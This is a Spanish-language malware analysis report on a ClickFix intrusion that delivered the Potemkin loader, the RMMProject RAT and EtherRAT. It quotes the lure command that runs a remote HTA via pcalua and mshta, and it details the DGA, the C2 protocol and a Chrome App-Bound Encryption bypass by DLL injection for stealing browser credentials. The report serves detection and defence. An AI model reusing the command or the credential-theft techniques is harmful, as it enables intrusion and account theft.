Alguien tiene las manos en tu teclado y luego en toda tu red. Cortesía de ClickFix, Potemkin, RMMProject y EtherRAT

Puntos clave

  • Un solo mensaje de ClickFix en un endpoint sin monitoreo le dio al atacante un punto de entrada sin obstáculos que eventualmente se propagó a más de 11 hosts, y terminó con el despliegue de dos RAT (RMMProject y EtherRAT). Los vacíos en la cobertura de endpoints no solo significan falta de telemetría: le dan al atacante espacio para establecer persistencia y moverse lateralmente antes de que alguien esté observando. 

  • El ataque incluyó un nuevo cargador que bautizamos como Potemkin, un cargador diseñado a medida con un algoritmo determinista de generación de dominios (DGA), un cifrado de bytes personalizado y un cargador de módulos reflectante, pero todo su vocabulario de comandos se reduce a un solo código de tarea (1015). Su propósito es entregar RMMProject.

  • RMMProject es un RAT que incorpora un motor de scripting LuaJIT y consta de 15 tipos de tareas, robo de credenciales y cookies de navegador en Chrome/Firefox/Edge (incluyendo un bypass de App-Bound Encryption de Chrome mediante inyección de DLL en un proceso de navegador generado), un módulo de control remoto de escritorio oculto, y su propia copia del mismo DGA que Potemkin para una resolución de C2 redundante. 

  • La actividad manual del atacante mostró persistencia y capacidad de adaptación. El atacante superó varias rondas de detecciones de Defender, y alternó entre parches de AMSI, escrituras en políticas de registro, carga reflectante y abuso de rutas de exclusión antes de finalmente eliminar el servicio de Defender.

Contexto

Figura 1: Diagrama que muestra la cadena de ataque

Huntress ya documentó un caso de ClickFix en febrero que involucraba movimiento lateral y la entrega del cargador malware-as-a-service Matanbuchus, junto con un implante personalizado inédito llamado AstarionRAT. En un nuevo caso de mayo de 2026, observamos otra infección de ClickFix, esta vez con una intrusión completa y manual (hands-on-keyboard) que abarcó 11 hosts en la red de la víctima.

La infección comenzó en un endpoint sin monitoreo, donde se engañó al usuario para que ejecutara un comando de ClickFix que descargaba e instalaba silenciosamente un paquete MSI. El MSI soltó el cargador Potemkin, un cargador personalizado de x64 que usa un algoritmo de generación de dominios para encontrar su C2 y carga de forma reflectiva módulos posteriores en memoria. El módulo entregado a través de Potemkin fue RMMProject, una DLL scripteable en Lua de 4.4 MB con robo de credenciales de navegador (incluido un bypass del cifrado vinculado a la app de Chrome mediante inyección de DLL embebida), un módulo de control remoto de escritorio oculto y 15 tipos de tareas distintas. Por separado, el atacante desplegó EtherRAT, una puerta trasera conocida en Node.js que resuelve su dirección C2 a partir de la blockchain de Ethereum, junto con un túnel de Cloudflare para acceso persistente.

Con esos puntos de apoyo establecidos, el operador pasó a actividad manual (hands-on-keyboard), librando una batalla continua con Windows Defender, desplegando túneles SOCKS inversos con Chisel, y propagándose lateralmente mediante WMIExec y SMBExec hasta llegar finalmente al controlador de dominio y distribuir EtherRAT en más de 11 hosts. La intrusión ya estaba muy avanzada para cuando se instaló el agente de Huntress en los endpoints afectados.

¿Por qué ClickFix sigue siendo tan efectivo? 

ClickFix sigue siendo efectivo por una razón simple: explota la naturaleza humana. La gente sigue instrucciones de forma natural cuando se les presenta una indicación clara y con apariencia de autoridad ("presiona Win+R, pega esto, presiona Enter"). La ingeniería social no necesita ser sofisticada; solo necesita parecer un paso legítimo de solución de problemas, y la mayoría de las veces, eso basta.

Este caso también es un recordatorio de por qué importa la cobertura de endpoints. La infección inicial se originó en un endpoint sin monitoreo, lo que le dio al atacante un punto de apoyo sin obstáculos. Si ese endpoint hubiera estado monitoreado, la actividad maliciosa podría haberse detectado temprano, antes de que comenzara la actividad manual, antes de que ocurriera el movimiento lateral y antes de que EtherRAT tuviera la oportunidad de establecerse más profundamente en el entorno. Los vacíos de visibilidad no solo significan telemetría faltante; significan darles a los atacantes el espacio que necesitan para causar daño real.

¿Qué pasó?

El usuario visitó el sitio web comprometido y se le indicó que ejecutara el siguiente comando en la ventana de diálogo Ejecutar de Windows:

cmd /min /c "pcalua.exe -a mshta.exe -c hxxps://cl.distritovagas.com/hte[.]hta"\1

El comando abusa de pcalua.exe como un LOLBIN para hacer de proxy a la ejecución de mshta.exe, descargando y ejecutando un payload HTA remoto para evadir detecciones basadas en procesos.

¿Qué contiene hte.hta?

Figura 2: Contenido del archivo hte.hta

El payload HTA oculta su ventana, usa WScript.Shell para ejecutar curl descargando silenciosamente un MSI desde un dominio controlado por el atacante (sonra.eutialyson[.]com/inst24.msi), y luego lo ejecuta mediante msiexec /qn para una instalación silenciosa.

Cargador Potemkin

Antes de recorrer la intrusión manual (hands-on-keyboard) y el movimiento lateral, veamos el binario cargador soltado en el endpoint. Lo rastreamos como Potemkin, un cargador personalizado de x64 para Windows. Potemkin se entregó como parte de un instalador MSI (inst24.msi) creado con WiX Toolset. El instalador soltó el cargador en C:\Users\<username>\AppData\Local\Microsoft\RunSearch\RunSearch.exe y registró persistencia al momento de la instalación mediante un componente AutostartRegistry del MSI, que creó HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunSearch = [INSTALLFOLDER]RunSearch.exe.

Potemkin tiene seis componentes funcionalmente distintos. Cinco de ellos etiquetan cada línea de registro que emiten con un prefijo fijo ([Agent], [DNS], [Chan], [Sync], [DLL]); el sexto es el núcleo de cifrado, al que recurren todos los componentes anteriores para descifrar cadenas:

Loading Gist...

Componente 1: [Agent] - bucle principal de trabajo

Once cadenas de registro distintas viven dentro de la función principal:

  • [Agent] start, seed= - Se activa una vez, al iniciar el hilo de trabajo. El valor después del = es la semilla XorShift32 codificada de forma fija (151678 en esta compilación). 

  • [Agent] DNS lookup seed= - Se activa al inicio de cada ciclo, justo antes de que el agente empiece a probar dominios candidatos. El valor de la semilla es el mismo en cada ciclo, por eso sabemos que dos infecciones generan las mismas pruebas de dominio en el mismo orden. 

  • [Agent] DNS: domain= - Se activa cuando el agente encuentra un servidor C2 activo. El valor es el dominio que respondió con “ok” a la prueba de /api/client_hello. 

  • [Agent] DNS: no domain found, sleeping 1 min - Se activa cuando ninguno de los 10.000 dominios candidatos responde. El agente entonces se duerme durante 60 segundos y vuelve a intentar con toda la lista. La presencia de esta línea significa que el C2 fue completamente inalcanzable en todas las pruebas. 

  • [Agent] uuid= - Se activa después de que el agente establece con éxito su identidad con el C2. El valor es el UUID que se usará durante el resto de la sesión, ya sea asignado de nuevo (primera ejecución) o leído de %LOCALAPPDATA%\hyper-v.ver y verificado de nuevo.

  • [Agent] init status= - Se activa después del intercambio posterior a la identidad (POST/api/client/init). El valor es el código de estado HTTP devuelto. 

  • [Agent] poll got_task= - Se activa después de cada consulta al C2 (cada ~5 minutos en entornos reales). El valor es 1 cuando el C2 devuelve un cuerpo que indica que una tarea está lista, 0 en caso contrario. 

  • [Agent] LoadAndRunDLL= - Se activa después de que Potemkin intenta obtener y ejecutar una DLL subsiguiente, pero solo cuando el got_task anterior fue 1. El valor es 1 si la DLL se obtuvo, decodificó, mapeó y ejecutó con éxito; 0 si algún paso falló. 

  • [Agent] DLL returned (updatedll), reloading... - Se activa cuando la DLL cargada indica que quiere ser reemplazada. El agente omite su período de espera y obtiene de inmediato la siguiente DLL. 

  • [Agent] exception: - Se activa cuando se detecta una excepción interna de C++ de un tipo conocido. El valor después de los dos puntos es el mensaje de la excepción. 

  • [Agent] unknown exception - Se activa cuando se detecta una excepción pero el tipo no se reconoce; no se captura ningún mensaje.

La semilla 151678 del DGA (Algoritmo de generación de dominios) es el único valor de semilla que usa Potemkin. Un DGA genera una lista de nombres de dominio de forma algorítmica en lugar de codificarlos de forma fija: el operador solo necesita registrar uno de los dominios generados antes del despliegue, y el malware lo encontrará probando cada candidato en secuencia. Como la semilla es fija, no hay aleatorización por equipo infectado ni reasignación basada en el tiempo. Dos infecciones independientes que ejecuten la misma compilación probarán exactamente la misma secuencia de dominios, en el mismo orden exacto, en cada iteración. Esto hace que el espacio de candidatos sea precalculable y finito (10.000 dominios).

La rama de recarga en caliente (signal == “updatedll”) omite la espera del ciclo interno. El operador puede enviar actualizaciones de módulos en vivo que se completan dentro de un solo intercambio de red, sin esperar al siguiente ciclo de consulta. El intervalo de espera nominal es de 60 segundos, pero, como muestra el registro de depuración recuperado (hablaremos de esto más adelante en el blog), la cadencia efectiva de consulta en entornos reales es más cercana a 5m27s una vez que se considera la latencia del C2. Volveremos a cómo el valor de signal sale de la DLL cargada cuando cubramos el subsistema [DLL].

Componente 2: [DNS]

Potemkin no tiene una dirección de C2 fija. En cambio, cada vez que necesita comunicarse con su operador, genera una lista de nombres de dominio candidatos a partir de un diccionario incorporado y prueba cada uno hasta que alguno responde con la respuesta esperada. El generador es determinista: dada la misma semilla inicial (151678), produce los mismos dominios en el mismo orden en cada ejecución. Este patrón se conoce como Domain Generation Algorithm, o DGA. La ventaja para el operador es que no tiene que fijar de antemano un dominio que los defensores podrían bloquear; solo necesita registrar uno de los dominios candidatos poco antes de implementar el malware. La ventaja para nosotros, los defensores, es la contraria: debido a que el algoritmo es determinista y recuperable, se puede precalcular y bloquear cada posible dominio candidato. Consulta la sección de indicadores de compromiso para ver una lista completa de los dominios generados para este payload.

El payload genera 10.000 dominios. El agente los recorre todos en orden, enviando una pequeña prueba a cada uno, y se detiene en el primero que devuelve una respuesta válida. Si ninguno de los 10.000 responde, duerme durante un minuto y vuelve a intentar con toda la lista desde el principio.

Potemkin genera tres mensajes de registro:

  • [DNS][<n>] trying <domain>:443 - a punto de probar el candidato número n (indexado desde cero)

  • [DNS] FOUND domain[<n>]: <domain> - se obtuvo una respuesta válida del candidato n; este es el C2 de esta sesión

  • [DNS] exhausted all 10000 domains, none responded - ningún candidato respondió; duerme un minuto y reintenta

Para cada dominio candidato, Potemkin envía una solicitud HTTP GET a una ruta de URL fija (/api/client_hello) en el puerto 443, y luego revisa el cuerpo de la respuesta en busca de una palabra clave particular (“ok”). Tanto la ruta de la URL como la palabra clave están cifradas dentro del binario. La verificación en vivo es: enviar GET /api/client_hello al C2 en el puerto 443, y si el cuerpo de la respuesta contiene la subcadena “ok” (entre comillas), considerar este candidato como el C2 activo y detener la búsqueda. El código HTTP de Potemkin está escrito usando cpp-httplib, una biblioteca HTTP de C++ de código abierto, así que cada solicitud al C2 lleva User-Agent: cpp-httplib/0.12.1. En la infección capturada, el cuerpo de la respuesta fue {"ok":true}, que contiene la secuencia de bytes "ok": y satisface la verificación.

Figura 3: Captura de Wireshark de una prueba DGA de Potemkin al C2 anus-staylard[.]xyz

El generador del DGA

Potemkin genera dominios eligiendo tres palabras de un diccionario integrado de 1.000 palabras, separándolas opcionalmente con guiones, y agregando .xyz. Ejemplos de salidas de la infección capturada: pestrear-lamp[.]xyz, uglyshop-mare[.]xyz, rule-bead-dust[.]xyz, anus-staylard[.]xyz, fair-bath-fond[.]xyz.

La "aleatoriedad" que elige qué palabras usar y dónde colocar los guiones proviene de un pequeño algoritmo llamado XorShift32, una rutina determinista simple que convierte un número de 32 bits en una larga secuencia de números que parecen aleatorios. Cada vez que Potemkin genera un dominio candidato, llama a XorShift32 cinco veces: tres de los resultados eligen índices de palabras dentro del diccionario de 1.000 palabras, y los otros dos deciden si se insertan guiones entre palabras adyacentes.

La barra de ensalada de palabras 

El diccionario del que extrae el generador contiene 1.000 palabras en inglés, distribuidas por longitud de la siguiente manera:

  • 54 palabras de cuatro letras

  • 920 palabras de cinco letras

  • 25 palabras de seis letras

  • 1 palabra de siete letras

Cada palabra se almacena cifrada en .data y se descifra en el primer uso. El diccionario está dominado por palabras de cinco letras porque la mayoría de los sustantivos y verbos cortos comunes en inglés tienen esa longitud; la única palabra de siete letras y el pequeño conjunto de palabras de cuatro letras son valores atípicos que producen dominios notablemente más cortos o más largos que la salida típica. La implementación en Python del algoritmo DGA:

Loading Gist...

Figura 4: XorShift32 insertado en línea dentro del bucle por palabra

Componente 3: cifrador de bytes personalizado

Potemkin protege dos categorías de cadenas con un cifrador de bytes personalizado: las constantes necesarias para la comunicación C2, y todo el diccionario DGA. Todo lo demás en el binario -el formato HTTP, las claves JSON, las cadenas de registro y la ruta de persistencia- está en texto plano.

Las cadenas descifradas:

  • /api/client_hello - ruta de la sonda de actividad DGA 

  • : - separador en el encabezado de la solicitud dirección:puerto 

  • ok - token de verificación de la respuesta de la sonda 

  • .xyz - dominio de nivel superior del DGA 

  • test_agent - valor codificado de forma fija de loader_id 

  • 1.000 palabras del diccionario - lista de palabras del DGA (54 de cuatro letras, 920 de cinco letras, 25 de seis letras, 1 de siete letras) 

El cifrador es una construcción personalizada de cuatro rondas a nivel de bytes. El binario contiene ocho funciones decodificadoras casi idénticas, una por cada longitud de texto plano que el payload necesitaba cifrar (2, 3, 4, 5, 6, 7, 11 y 18 caracteres). Cada cadena cifrada se almacena junto con su material de clave en una sola estructura en .data. La siguiente figura muestra esto para la cadena test_agent.

Cada bloque de ronda tiene 12 bytes y contiene tres valores:

  • Un byte de clave inicial - el valor inicial que se usa para combinar con los datos (resaltado en la figura: 0x05 para la ronda 4, 0x04 para la ronda 3)

  • Un key_op - un número (1-4) que indica al cifrador cómo mutar la clave después de cada byte (incremento, inversión de bits, mezcla de bits o rotación)

  • Un data_op - un número (1-4) que indica al cifrador cómo transformar cada byte de datos usando la clave actual (resta, XOR, rotación o mezcla de bits)

Al descifrar, el cifrador recorre los bloques de ronda y, en cada ronda, recorre cada byte cifrado, aplicando data_op para combinar el byte con la clave y luego key_op para evolucionar la clave antes de pasar al siguiente byte. Debido a que la clave muta después de cada byte, cada byte obtiene un valor de clave efectivo diferente, aunque solo se almacena un byte de clave inicial por ronda.

No todas las cadenas usan las cuatro rondas. En la estructura de test_agent, las rondas 1 y 2 son todas ceros, lo que significa que esas rondas no hacen nada. Solo las rondas 3 y 4 están activas. Otras cadenas en el binario llenan las cuatro ranuras de ronda con valores distintos de cero.

Distintas cadenas tienen diferentes valores de data_op, key_op y byte de clave inicial incorporados en sus estructuras en tiempo de compilación, por lo que cada cadena tiene su propia receta de descifrado única, a pesar de que todas pasan por el mismo código de cifrado.

Figura 5: Vista anotada en IDA de la estructura del cifrador de test_agent, que muestra los datos cifrados, los bloques de ronda con los campos key_byte/key_op/data_op, y las rondas omitidas 

Algoritmo de descifrado:

Loading Gist...

La elección de qué cadenas cifrar es selectiva e inconsistente. El autor del malware cifró la ruta de sondeo (/api/client_hello) pero dejó los endpoints de asignación de tareas (/tasks/get_worker, /tasks/collect) y el endpoint de descarga de la DLL (/avast_update) en texto plano. Cifraron test_agent pero dejaron loader_id (el nombre del campo que lo contiene) en texto plano.

Componente 4: [Chan]

El componente 4 produce el artefacto que podemos encontrar en un endpoint víctima: %LOCALAPPDATA%\hyper-v.ver, un archivo que contiene una sola cadena UUID, un identificador de C2 para ese endpoint comprometido. Primero, la máquina infectada envía POST /api/client/new con {"os_info":"Windows"} al C2. El servidor responde con un UUID, por ejemplo {"ok":"70cdb427-ac79-48f5-bd2d-38f26b08e5ad"}. El agente extrae ese UUID y lo escribe textualmente en %LOCALAPPDATA%\hyper-v.ver.

El agente lee el UUID desde hyper-v.ver y envía POST /api/client/verify con él. Si el C2 responde con “ok”, el UUID se reutiliza. Si la verificación falla, el agente recurre a la ruta de registro y obtiene uno nuevo.

El componente 4 contiene las siguientes cadenas de registro:

  • [Chan] POST /api/client/new - a punto de registrarse

  • [Chan] new status= - respuesta de registro recibida

  • [Chan] new: no response, err= - la solicitud de registro falló

  • [Chan] new: token field empty in response - el C2 respondió pero no incluyó un UUID

  • [Chan] verify status= - respuesta de verificación recibida

  • [Chan] verify no response, err= - la solicitud de verificación falló

  • [Chan] verify token= - UUID verificado con éxito, se reutiliza

  • [Chan] exception: / [Chan] unknown exception - manejadores de errores

Una vez establecida la identidad, el agente envía una solicitud POST a /api/client/init:

Loading Gist...

Componente 5: [Sync] - sondeo de tareas

El componente [Sync] se ejecuta una vez por cada ciclo de sondeo. Es una transacción de dos etapas: obtener una asignación de tarea del C2 y luego enviar un acuse de recibo. El payload del acuse de recibo siempre es el mismo: {"status":"true","uuid":"...","type":"1015","task_result":"b2s="}, sin importar qué tarea se haya recibido. El campo task_result es simplemente “ok” codificado en base64 (b2s=).

Once cadenas distintas se inicializan como variables globales dentro del subsistema [Sync] antes de la primera solicitud. A diferencia de las cadenas operativas que usa [DNS] (que están cifradas en .data y se descifran bajo demanda), las 11 cadenas residen en texto plano en .rdata y se referencian directamente por sus direcciones. Cubren cada clave JSON, cada valor JSON, cada endpoint y el tipo de contenido usado en ambas etapas de la transacción de sondeo:

Loading Gist...

Figura 6: Cadenas codificadas en el componente [Sync]

Consulta del worker

La primera solicitud verifica si el C2 tiene una tarea lista:

Loading Gist...

uuid es la identidad persistente del cliente (que se encuentra en hyper-v.ver), y loader_id es la cadena test_agent, recuperada al descifrar la estructura cifrada que vimos en la sección de descifrado. Cada solicitud /tasks/get_worker de esta compilación lleva el mismo literal "loader_id":"test_agent".

Verificación de la respuesta

El cuerpo de la respuesta se revisa en busca de dos subcadenas: “ok” y “1015”. Ambas deben estar presentes para que el agente considere que hay una tarea lista. Aquí es donde el valor 1015 cobra sentido: es la forma en que el C2 señala que “hay una tarea de DLL lista para este cliente”.

Acuse de recibo de la tarea

Si ambas subcadenas coinciden, el agente envía de inmediato el acuse de recibo:

Loading Gist...

Componente 6: [DLL] - obtención de módulos

El subsistema [DLL] obtiene una DLL adicional del C2 y la carga por completo en memoria: analiza los encabezados PE, mapea las secciones, corrige las direcciones y resuelve las importaciones sin llamar nunca a LoadLibrary. Luego llama a una exportación llamada TLSDataStart.

Figura 7: Mapeo de secciones PE, corrección de reubicaciones, resolución de importaciones e invocación de DllMain sin usar LoadLibrary 

Algunas cadenas de registro nos dan información aquí:

  • [DLL] GET /avast_update - a punto de obtener la DLL

  • [DLL] status= - código de respuesta HTTP de la solicitud

  • [DLL] decoded size= - tamaño de la DLL después de decodificarla en base64

  • [DLL] base= - dirección de memoria donde se mapeó la DLL

  • [DLL] entry_point= - si se encontró o no la exportación esperada en la DLL

  • [DLL] hbot= - valor del contador de heartbeat en el momento de la ejecución

  • [DLL] entry returned, unloading module - la función de exportación de la DLL retornó; a punto de desmapear

  • [DLL] no response, err= - la solicitud de obtención falló por completo

La solicitud HTTP:

Loading Gist...

TLSDataStart: se envía con un valor vacío. La cadena TLSDataStart es el nombre de exportación que el cargador reflectante busca dentro de la DLL devuelta. Cualquier DLL enviada a través de /avast_update debe exportar una función llamada TLSDataStart. Si no se encuentra la exportación, el cargador desmapea el módulo y devuelve un error. El bucle del agente registra [Agent] LoadAndRunDLL=0 y continúa a la siguiente iteración.

Cuando la función de exportación retorna, el cargador desmapea el módulo de inmediato. La región de memoria mapeada se libera. El módulo cargado no tuvo oportunidad de persistir código o estado entre iteraciones. Luego el agente verifica si uno de los búferes de argumentos contiene ahora la cadena literal updatedll. Si es así, el agente registra:

[Agent] DLL returned (updatedll), reloading…

Luego vuelve a entrar de inmediato en la ruta de obtención de la DLL sin esperar. Esto le indica al C2 que envíe una DLL actualizada, que se obtiene y se carga en el mismo ciclo de sondeo. Si el búfer no contiene updatedll, el agente espera 60 segundos antes de volver a sondear.

La mayoría de los cargadores modulares incluyen un despachador de comandos: una tabla de opcodes numéricos o de cadenas donde el operador puede elegir entre descargar y ejecutar, shell, listado de archivos, captura de pantalla, matar proceso, dormir, etc. Potemkin no tiene nada de eso, y todo el vocabulario de comandos es prácticamente un solo código numérico, 1015.

No existe un canal de reporte de errores de vuelta al operador. Si la obtención de la DLL falla, el agente registra la falla localmente en dll_debug.log dentro de %TEMP%, pero nunca se lo informa al C2:

Loading Gist...

RMMProject 

Recuperamos la DLL que el C2 entregó a través de /avast_update. El archivo es una DLL x64 de 4.4 MB (avast_update.bin, SHA256: 3b7ae925e2d64522b4f69b56285b05aeca8c5aab5ab46a9c02c4fafb69d881ce) con la exportación esperada TLSDataStart.

Cómo recibe su configuración RMMProject

Cuando Potemkin llama a la exportación TLSDataStart, pasa dos argumentos de tipo string. El primero es la información de conexión del C2. El segundo es una lista de tareas en JSON, un objeto de configuración del C2 que le indica a RMMProject qué hacer (qué navegadores atacar, qué datos recolectar y adónde enviarlos). RMMProject analiza este JSON, ejecuta cada tarea y envía los resultados de vuelta al C2 mediante POST antes de devolver el control a Potemkin.

DGA integrado: mismo algoritmo, mismo diccionario

RMMProject también tiene su propia copia integrada del DGA. El binario contiene una función de resolución de dominios que registra [DNS] FOUND domain[N] cuando tiene éxito y [DNS] exhausted all N domains, none responded cuando falla, el mismo formato de registro que el loader. El generador usa el mismo PRNG XorShift32 con las mismas constantes (<<13, >>17, <<5), la misma búsqueda de palabras con mod 1.000 a partir de un diccionario cifrado de 1.000 palabras (confirmado por exactamente 1.000 bloques de inicialización protegidos con TLS en la función de búsqueda de palabras), la misma concatenación de tres palabras con guiones opcionales, el mismo límite de búsqueda de 10.000 dominios y la misma semilla predeterminada 0xDEADBEEF. El TLD se almacena cifrado en una variable global de 4 bytes, consistente con .xyz. El diccionario es prácticamente idéntico al de Potemkin.

Arquitectura: módulos nativos con scripting en Lua

RMMProject integra un motor completo de scripting LuaJIT (identificado por la presencia de bibliotecas específicas de LuaJIT, ffi y jit, en el código de inicialización, junto con cientos de mensajes de error de la VM de Lua).

Al iniciar, RMMProject inicializa la VM de Lua y luego registra un conjunto de módulos nativos de C++ en el entorno de scripting. El C2 envía scripts de Lua como parte de la lista de tareas en JSON, y RMMProject los ejecuta. Cada script puede llamar a cualquier combinación de los módulos nativos registrados, y los resultados se recopilan y se envían de vuelta al C2 mediante POST.

Los siguientes módulos nativos están expuestos a Lua (identificados a partir de nombres de clases RTTI de C++ en el binario):

  • Http: cliente HTTP (GET/POST) construido sobre cpp-httplib, para exfiltrar datos u obtener payloads adicionales

  • Json: construcción y análisis de JSON mediante nlohmann::json

  • SQLiteDatabase / SQLiteStatement / SQLiteColumn: interfaz de consulta completa de SQLite 3.36.0, usada para leer las bases de datos de credenciales del navegador

  • WinReg: lectura y escritura del registro de Windows (HKEY_CURRENT_USER, HKEY_USERS, creación de claves, enumeración de valores, eliminación)

  • ASN1Decoder / ASN1Integer / ASN1OID: análisis ASN.1 para decodificar formatos de almacenamiento de certificados y claves de NSS

  • DirectoryStatement / RecursiveDirectoryStatement: enumeración del sistema de archivos (listado de archivos, recorrido recursivo de directorios)

Tabla completa de comandos de tareas

El despachador de tareas de RMMProject implementa una sentencia switch con 15 tipos de tareas, muchos más que el único código 1015 de Potemkin. Cada tipo de tarea es un código numérico enviado por el C2 dentro de la lista de tareas en JSON:

Loading Gist...

Robo de credenciales y cookies del navegador

La capacidad más notable en la DLL apunta a las credenciales y cookies del navegador en Chrome, Firefox y Edge. Tres códigos de tarea distintos manejan diferentes aspectos del robo de datos del navegador: 1001 para contraseñas guardadas, 1002 para cookies, 1003 para credenciales almacenadas y 1013 para datos de autocompletado. Todas comparten la misma infraestructura subyacente de acceso al navegador.

La ruta de robo de cookies (tarea 1002) se ejecuta mediante una única función orquestadora de 10 KB que procesa los tres navegadores en secuencia y registra su progreso con mensajes de depuración con el prefijo kCookies:

Loading Gist...

También existen variantes de ruta de error (kCookies: chrome ex:, kCookies: firefox ex:, kCookies: edge ex:, kCookies: exception:) que registran fallas por navegador. La salida del registro revela el pipeline de exfiltración: la función analiza las cookies de Chrome, registra el conteo, analiza las cookies de Firefox, registra ese conteo, analiza las cookies de Edge, registra ese conteo, luego informa el total, serializa todo a JSON, comprime el JSON con zlib e informa el tamaño comprimido. El blob comprimido final es el resultado de la tarea que se envía mediante POST de vuelta al C2.

Para Chrome y Edge, la DLL descifra los datos de cookies y credenciales mediante un proceso de varios pasos que maneja tanto el esquema de cifrado heredado de Chromium como el moderno. La DLL primero lee el archivo Local State del navegador, un archivo de configuración JSON que los navegadores basados en Chromium almacenan en el directorio de perfil del usuario. Dentro de este archivo, el campo encrypted_key contiene la clave de cifrado maestra del navegador, que a su vez está cifrada con DPAPI (la API de protección de datos de Windows). La DLL llama a CryptUnprotectData (importada de CRYPT32.dll) para desenvolver esta clave.

A partir de la versión 127 de Chrome, Google introdujo una nueva capa de protección llamada App-Bound Encryption (ABE) que envuelve la clave cifrada con DPAPI con una capa adicional de cifrado vinculada

a la identidad de la aplicación Chrome. Un proceso que no sea Chrome no puede simplemente llamar a la API de descifrado: la clave está vinculada a la identidad de firma de código propia de Chrome.

RMMProject evita esto con una inyección de DLL auxiliar incorporada. Una DLL auxiliar de 4.608 bytes se almacena dentro de la DLL principal en un desplazamiento fijo, codificada con XOR usando la clave 0x5A. En tiempo de ejecución, la DLL decodifica este blob y lo escribe en un archivo temporal en %TEMP%\<random>.tmp.

La DLL luego localiza el ejecutable del navegador en disco. Usa ExpandEnvironmentStringsW para resolver tanto las rutas de instalación a nivel del sistema como las de usuario, y prueba varias ubicaciones candidatas hasta que encuentra chrome.exe o msedge.exe. Luego inicia el navegador con CreateProcessW usando los indicadores CREATE_NO_WINDOW | DETACHED_PROCESS | DEBUG_ONLY_THIS_PROCESS, y el navegador se ejecuta oculto y en estado de depuración. Inmediatamente después, DebugActiveProcessStop libera el estado de depuración mientras la DLL conserva el identificador del proceso.

Con ese identificador, la DLL resuelve LoadLibraryW desde kernel32.dll mediante GetModuleHandleA y GetProcAddress, asigna memoria dentro del proceso del navegador (VirtualAllocEx), escribe en ella la ruta a la DLL temporal (WriteProcessMemory) y crea un hilo remoto (CreateRemoteThread) que llama a LoadLibraryW con esa ruta: la clásica técnica de inyección de DLL. La DLL auxiliar se carga dentro del espacio de proceso de Chrome y hereda la identidad de aplicación de Chrome. Lee la clave de cookie cifrada desde una sección de memoria compartida (creada antes mediante CreateFileMappingA), la descifra usando las API de ABE, ahora accesibles porque el código se ejecuta como Chrome, y escribe la clave descifrada de vuelta a través de una tubería con nombre. La DLL principal lee el resultado de la tubería y de inmediato termina el proceso del navegador con TerminateProcess.

La DLL auxiliar en sí (SHA256: cd4e5e2c65b1660470d3446539ee68adf5faeece3eaeb46583623be9911ee145) es un PE x64 mínimo. Contiene la cadena ABEPayloadArgs, el nombre de la sección de memoria compartida donde la DLL principal pasa los datos de la clave cifrada. Su tabla de importación revela el mecanismo de descifrado: importa OpenFileMappingA y MapViewOfFile de KERNEL32 para leer de la memoria compartida, CoInitializeEx y CoCreateInstance de ole32.dll para instanciar la interfaz COM IElevator de Chrome (el objeto COM a nivel de sistema que Chrome registra para las operaciones de cifrado vinculado a la aplicación), y CreateFileA / WriteFile para enviar el resultado descifrado de vuelta a través de la tubería con nombre.

Figura 8: La lógica principal de la DLL auxiliar de ABE: instancia la interfaz COM IElevator de Chrome mediante CoCreateInstance, llama a CoSetProxyBlanket para establecer la autenticación y luego abre la tubería con nombre (CreateFileA) para leer los datos cifrados y escribir de vuelta el resultado descifrado


Una vez recuperada la clave maestra, la DLL abre los archivos Cookies y Login Data del navegador, ambos bases de datos SQLite, usando el motor SQLite 3.36.0 integrado. Consulta estas bases de datos, descifra cada valor de cookie o credencial usando AES-GCM con la clave maestra recuperada, y recopila los resultados.

Para Firefox, la ruta de descifrado es completamente distinta porque Firefox usa la biblioteca criptográfica NSS (Network Security Services) de Mozilla en lugar de DPAPI. La DLL consulta la base de datos de claves de Firefox con dos sentencias SQL específicas: SELECT item1 FROM metadata WHERE id = 'password' para obtener el hash de verificación de la contraseña maestra, y SELECT a11 FROM nssPrivate para extraer las claves privadas cifradas. Luego analiza el formato de clave de NSS mediante decodificación ASN.1 y descifra las credenciales reales usando derivación de clave PBKDF2 seguida de descifrado 3DES-CBC. Tanto PBKDF2 como 3DES se implementan a través de la biblioteca Crypto++ enlazada estáticamente.

La tarea 1022 permite terminar procesos del navegador por completo, probablemente usada como paso preparatorio antes de leer las bases de datos SQLite del navegador, ya que los navegadores mantienen bloqueos exclusivos sobre sus propios archivos de base de datos mientras se ejecutan.

RTSC: control remoto de terminal y pantalla

RMMProject contiene un módulo de escritorio remoto identificado por los prefijos de registro [RTSC] y la clase RTSCServer visible en los datos RTTI del binario. El código de tarea 1006 inicia una sesión; el código de tarea 1007 la detiene.

Cuando el operador inicia una sesión RTSC, la DLL crea un escritorio oculto de Windows usando CreateDesktopW. Este escritorio oculto es invisible para el usuario, lo que significa que nada de lo que se renderiza en él aparece en la pantalla del usuario. La DLL luego lanza una instancia de Chrome o Edge en este escritorio oculto (tanto StartChrome como StartEdge son puntos de entrada visibles en el RTTI). Esto le da al operador una sesión de navegador en vivo con la que puede interactuar mientras la víctima no ve nada.

El módulo RTSC establece dos conexiones de socket separadas hacia el C2. La primera es un socket de cuadros que transmite capturas de pantalla del escritorio oculto; la DLL captura los cuadros usando funciones de GDI+ (CreateCompatibleBitmap, BitBlt para la captura de pantalla, GdipSaveImageToStream para la codificación) y los envía por ese socket. La segunda es un socket de entrada que recibe movimientos del mouse, clics, pulsaciones de teclas y operaciones de portapapeles del operador y las reproduce en el escritorio oculto. El manejador de entrada por sí solo tiene 14 KB de código, y distribuye cada tipo de evento de entrada a la llamada de API de Windows correspondiente.

El socket de entrada usa un protocolo basado en sesiones: realiza un saludo hello/session_id antes de aceptar comandos, y cada paso se registra mediante mensajes [RTSC] OpenInputSocket:. Esta es una capacidad de secuestro de sesión de navegador en un escritorio oculto, usada comúnmente para fraude bancario en tiempo real, donde el atacante necesita interactuar con una sesión de navegador autenticada.

Figura 9: Protocolo de saludo del socket de entrada de RTSC: envía el ID de sesión e informa al C2 el tamaño del búfer SISR (Screen Input Stream Receiver) 


La tarea 1008 ofrece una capacidad de captura de pantalla más simple fuera del módulo RTSC: una sola captura de pantalla del escritorio real del usuario, útil para reconocimiento antes de decidir si iniciar una sesión RTSC completa.

Inyección de procesos y gestión de módulos

La tarea 1014 ejecuta un archivo o proceso en la víctima, con un parámetro que especifica ejecución de 32 o 64 bits. La tarea 1016 se inyecta en un proceso en ejecución por nombre: la configuración de la tarea proporciona una cadena name:data, y RMMProject busca el proceso objetivo, inyecta el payload y reporta el resultado. La tarea 1017 limpia después de la inyección terminando los hilos inyectados.

